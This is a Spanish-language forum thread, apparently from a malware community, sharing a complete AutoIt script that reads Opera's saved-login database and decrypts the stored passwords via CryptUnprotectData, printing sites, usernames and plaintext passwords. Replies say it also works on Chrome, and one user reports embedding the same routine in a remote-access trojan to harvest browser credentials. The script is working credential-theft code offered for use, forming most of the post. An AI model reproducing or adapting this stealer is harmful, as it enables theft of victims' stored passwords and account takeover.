Hola, hoy he terminado el recuperador de contraseñas para el navegador Opera. Testeado en un Windows 7 x64 con la ultima versión del navegador.
La función necesita la DLL SQLite3.dll, había creado una función con los datos hexadecimales de la librería para crearla directamente en TEMP pero era demasiado grande y no rentaba esa opción.
#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.3.8.1
 Author: Naker90

 Script Function:
	Recupera las contraseñas guardadas en el navegador Opera

 Testeado en Windows 7 x64 con la ultima version de Opera.

 Ejemplo de retorno:
	Web: http://www.web.com
	User: Usuario
	Pass: Password

 Saludos ;)

#ce ----------------------------------------------------------------------------

 #include <SQLite.au3>
 #include <String.au3>

Func OperaPasswordRecovery()

	Const $OS = @OSVersion

	Local $Keypath
	If $OS = 'WIN_XP' then
		$Keypath = 'C:\Documents and Settings\' & @UserName & '\Application Data\Opera\Opera\Login Data'
	Else
		$Keypath = 'C:\Users\' & @UserName & '\AppData\Roaming\Opera Software\Opera Stable\Login Data'
	EndIf

	_SQLite_Startup(@ScriptDir & '\sqlite3.dll')
	_SQLite_Open($Keypath, $SQLITE_OPEN_READWRITE)

	Local $Result, $Rows, $Columns
	Local $GetTables = _SQLite_GetTable(-1, 'select origin_url, username_value, password_value from logins;', $Result, $Rows, $Columns)

	If $Rows <> 0 then

		Local $Return
		For $i = 4 to UBound($Result) - 1

			Local $URL = $Result[$i]
			Local $User = $Result[$i + 1]
			Local $Pass = $Result[$i + 2]

			Local $PassSize = BinaryLen($Pass)

			Local $DataStruct = DllStructCreate('byte[' & $PassSize & ']')
			DllStructSetData($DataStruct, 1, $Pass)

			Local $DataInBolbStruct = DllStructCreate('dword cbData;ptr pbData')
			DllStructSetData($DataInBolbStruct, 1, $PassSize)
			DllStructSetData($DataInBolbStruct, 2, DllStructGetPtr($DataStruct))

			Local $DataOutBolbStruct = DllStructCreate('dword cbData;ptr pbData')

			Local $DllOpen = DllOpen('Crypt32.dll')
			Local $CryptUnprotectData = DllCall($DllOpen, 'bool', 'CryptUnprotectData', _
												'struct*', $DataInBolbStruct, _
												'ptr*', 0, _
												'ptr', 0, _
												'ptr', 0, _
												'ptr', 0, _
												'dword', 0, _
												'struct*', $DataOutBolbStruct)

			If $CryptUnprotectData[0] = 0 then Return 0

			Local $PasswordStruct = DllStructCreate('byte[' & DllStructGetData($DataOutBolbStruct, 1) & ']', DllStructGetData($DataOutBolbStruct, 2))
			Local $Password = _HexToString(StringTrimLeft(DllStructGetData($PasswordStruct, 1), 2))

			$Return &= 'Web: ' & $URL & @CRLF & 'User: ' & $User & @CRLF & 'Pass: ' & $Password & @CRLF & @CRLF

			$i += 2

		Next

		Return $Return

	Else

		Return 0

	EndIf

EndFunc
En los archivos adjuntos dejo la librería, recordad que para que el script funcione la librería debe ir en el mismo directorio, pueden cambiar el directorio de donde carga la dll modificando la ruta de "_SQLite_Startup".

Saludos
No tiene los permisos requeridos para ver los archivos adjuntos a este mensaje.
Skype: naker.noventa
Pink escribió:ese mismo sirve para Chrome. Gracias Naker90

Saludos
No me había puesto con ese navegador todavía pero si es así me ahorro un trabajo.
Saludos bro
Skype: naker.noventa
Gran Naker, volvió con fuerza gracias.
"Concentrarse en las fortalezas, reconocer las debilidades, las oportunidades y tomar la guardia contra las amenazas."

―Sun Tzu
Naker90 escribió:
Pink escribió:ese mismo sirve para Chrome. Gracias Naker90

Saludos
No me había puesto con ese navegador todavía pero si es así me ahorro un trabajo.
Saludos bro

Buen trabajo Naker90

Si sirve para los 2 , Pink me he hablado esto hace un tiempito , en mi RAT la uso como "ChromeOpera()" para obtener los datos de Chrome y Opera

Saludo
Indetectables RAT v.0.9.5

@Indetectables Team
Responder

Volver a “Fuentes”